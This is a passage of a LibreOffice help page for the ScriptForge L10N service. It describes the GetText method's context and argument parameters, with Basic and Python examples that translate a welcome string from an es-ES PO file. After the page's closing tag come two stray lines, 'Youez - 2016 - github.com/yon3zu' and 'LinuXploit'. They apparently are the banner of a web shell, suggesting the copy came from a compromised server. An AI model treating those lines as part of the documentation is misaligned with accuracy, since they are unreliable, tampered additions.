        <p id="par_id961614365557277" class="listitem" dir="auto">The <span class="literal">context</span> string with which the method will retrieve the <span class="literal">msgid</span> in the PO file, or;</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id981614365589866" class="listitem" dir="auto">A combination <span class="literal">context|msgid</span>, instructing the method to retrieve the <span class="literal">msgid</span> using specified <span class="literal">context</span> value. The second part of the argument is used to improve code readability.</p>
      </li>
    </ul>
    <p id="par_id571586165768106" class="paragraph" dir="auto"><span class="emph">args</span>: Values to be inserted into the placeholders. Any variable type is allowed, however only strings, numbers and dates will be considered.</p>
    <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
    <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
    <p id="par_id701614365961454" class="paragraph" dir="auto">Consider the following code is running on a LibreOffice installation with locale set to "es-ES". Additionally, there is a file "es-ES.po" inside the specified folder that translates the string passed to the <span class="literal">GetText</span> method:</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      myPO = CreateScriptService("L10N", "C:\myPOFiles\")
      myPO.GetText("Welcome %1! Hope you enjoy this program", "John")
      ' "¡Bienvenido John! Espero que disfrutes de este programa"
    </code></pre></div>
    <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r"C:\myPOFiles")
      myPO.GetText('Welcome %1! Hope you enjoy this program', 'John')
      # "¡Bienvenido John! Espero que disfrutes de este programa"
    </code></pre></div>


    <div class="embedded">
<a name="SF_InternalUse"></a>
      <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id851506659675843" dir="auto">All <span class="literal">ScriptForge</span> Basic routines or identifiers that are prefixed with an underscore character "_" are reserved for internal use. They are not meant be used in Basic macros or Python scripts.</p></div>
</div>
<br>
    </div>
    <a name="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a name="related"></a><span class="emph">Related Topics</span>
</p>
<div class="relatedbody" itemprop="mentions">
      <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03/sf_filesystem.html"><span class="literal">ScriptForge</span>.<span class="literal">FileSystem</span> service</a></p></div>
      <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/guide/translation.html">Translation of Controls in the Dialog Editor</a>
</p></div>
    </div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03/sf_l10n.xhp" target="_blank">/text/sbasic/shared/03/sf_l10n.xhp</a></p>
<p dir="auto">Title is: ScriptForge.L10N service</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit